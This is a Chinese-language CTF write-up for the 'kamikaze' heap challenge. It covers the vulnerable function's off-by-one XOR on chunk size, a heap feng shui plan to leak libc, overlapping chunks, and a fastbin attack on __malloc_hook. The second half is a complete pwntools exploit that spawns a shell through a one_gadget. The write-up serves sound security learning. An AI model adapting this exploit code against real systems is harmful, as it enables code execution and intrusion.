heap fengshui hackit ctf kamikaze

Start

Kamikaze做完之后我想Kamikaze…… 感觉这题主要烦在利用难 做完之后收获挺大,堆风水思路很重要。。。

在风水先生的路上又前进了一步

分析

主要结构体

00000000
00000000 song            struc ; (sizeof=0x28, mappedto_6)
00000000 weight          dq ?
00000008 stanza          dq ?                    ; offset
00000010 next            dq ?                    ; offset
00000018 hook            dq ?
00000020 hook2           dq ?
00000028 song            ends

主要漏洞点

unsigned __int64 kamimaze()
{
  int i; // [rsp+Ch] [rbp-34h]
  int wei; // [rsp+10h] [rbp-30h]
  int seed; // [rsp+14h] [rbp-2Ch]
  song *ptr; // [rsp+18h] [rbp-28h]
  char buf; // [rsp+20h] [rbp-20h]
  unsigned __int64 v6; // [rsp+28h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  printf("Enter song weight: ");
  read(0, &buf, 4uLL);
  wei = atoi(&buf);
  ptr = song_list;
  if ( song_list )
  {
    while ( ptr->weight != wei )
    {
      if ( !ptr->next )
      {
        puts("Couldn't find the song");
        exit(0);
      }
      ptr = ptr->next;
    }
    printf("Enter seed: ", &buf);
    read(0, &buf, 4uLL);
    seed = atoi(&buf);
    if ( seed <= 1 || seed > 0xE )
      exit(0);
    for ( i = 0; i < strlen((const char *)&ptr->hook); ++i )// kamikaze off by one
      *((_BYTE *)&ptr->hook + i) ^= seed;
  }
  else
  {
    puts("You need to create a song first");
  }
  return __readfsqword(0x28u) ^ v6;
}

hook处用的是read,kamikaze处用的是strlen所以只要读满hook域然后用strlen就可以缩放size位

利用思路

  • 只能使用fastbin….泄露不了libc
  • 先用off by one 缩小topchunk
  • free一堆chunk进fast bin
  • 使得topchunk<0x30
  • 这时候会把fastbin里的chunk整合放入unsorted bin
  • 泄露libc
  • 如法炮制放大unsorted bin 造成overlap
  • malloc完unsortedbin malloc topchunk之后利用overlap做uaf
  • fastbin atk 写 __mallo_chook 
  • free触发printerr

坑点:

  • topchunk 最高字节恰好0x02用0x02去缩小(好巧)
  • 链表结构常常做着做着被破坏。。
  • leak的时候按照index而不是weight
  • 为啥用的都是fgets,calloc…
  • overlap的时候注意风水。。。(我tm调了一天。。)
  • 记得先想好再去调。。。策略很重要

EXP

from pwn import *
def cmd(c):
	p.readuntil(">> ")
	p.sendline(str(c))
def add(weight,size,stanza,hook="".ljust(0x10,' ')):
	cmd(1)
	p.sendlineafter("Enter the weight of the song: ",str(weight))
	p.sendlineafter("Enter size of the stanza: ",str(size))
	p.sendlineafter("Enter the stanza: ",stanza)
	p.sendafter("Leave a short hook for it too: ",hook)
def edit(weight,stanza):
	cmd(2)
	p.sendlineafter("Enter song weight: ",str(weight))
	p.sendafter("Enter new stanza: ",stanza)
def free(weight):
	cmd(4)
	p.sendlineafter("Enter song weight: ",str(weight))
def show(idx):
	cmd(5)
	p.sendlineafter("Enter song index: ",str(idx))
def kamikaze(weight,seed=2):
	cmd(3)
	p.sendlineafter("Enter song weight: ",str(weight))
	p.sendlineafter("Enter seed: ",str(seed))
	
#context.log_level="debug"
p=process("./kamikaze")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
add(256,0x20,"")#head
add(1,0x70,"")
add(2,0x20,"")
free(1)
free(2)
add(3,0x70,"")
add(4,0x20,"","A"*0x10)
kamikaze(4)
for x in range(5,35):
	add(x,0x28,"")
add(36,0x70,"")
for x in range(5,35):
	free(x)
add(36,0x70,"")#0x0000555555757d70
add(37,0x70,"")

for x in range(5,29):
	add(x,0x28,"")

free(37)
free(28)

add(39,0x70,"")
add(40,0x28,"","C"*0x10)

kamikaze(40,4)
#                  top: 0x555555757de0 (size : 0x20) 
#       last_remainder: 0x555555757af0 (size : 0x360) 
#            unsortbin: 0x555555757af0 (size : 0x360)
#free(36)
#free(4)
#add(41,0x70,"")#0x0000555555757cf0
#add(42,0x28,p64(0xdeaddead))

add(43,0x58,"")
add(44,0x40,"")
add(45,0x70,"")

show(3)
p.readuntil("Weight: ")
base=int(p.readline(),16)-(0x7ffff7dd1b78-0x00007ffff7a0d000)
log.warning(hex(base))
libc.address=base
free(3)
add(46,0x28,"")
add(47,0x28,"")
add(48,0x28,"")
add(49,0x28,p64(0)+p64(0x21001))
add(50,0x60,"")
add(51,0x60,"")
add(52,0x60,"")
add(53,0x30,"")
free(50)
cmd(1)
p.sendlineafter("Enter the weight of the song: ",str(54))
p.sendlineafter("Enter size of the stanza: ",str(0x58))
p.sendafter("Enter the stanza: ","\x00"*0x48+p64(0x71)+p64(libc.symbols['__malloc_hook']-35))
free(46)
free(47)
one=base+0xf02a4

add(55,0x30,p64(0)+p64(0x0000000000020fa1))
add(55,0x30,"")
add(56,0x68,"")
add(57,0x68,"A"*19+p64(one))
free(0x39)
#gdb.attach(p)
p.interactive("nier>")

加注释是这辈子都不可能加注释的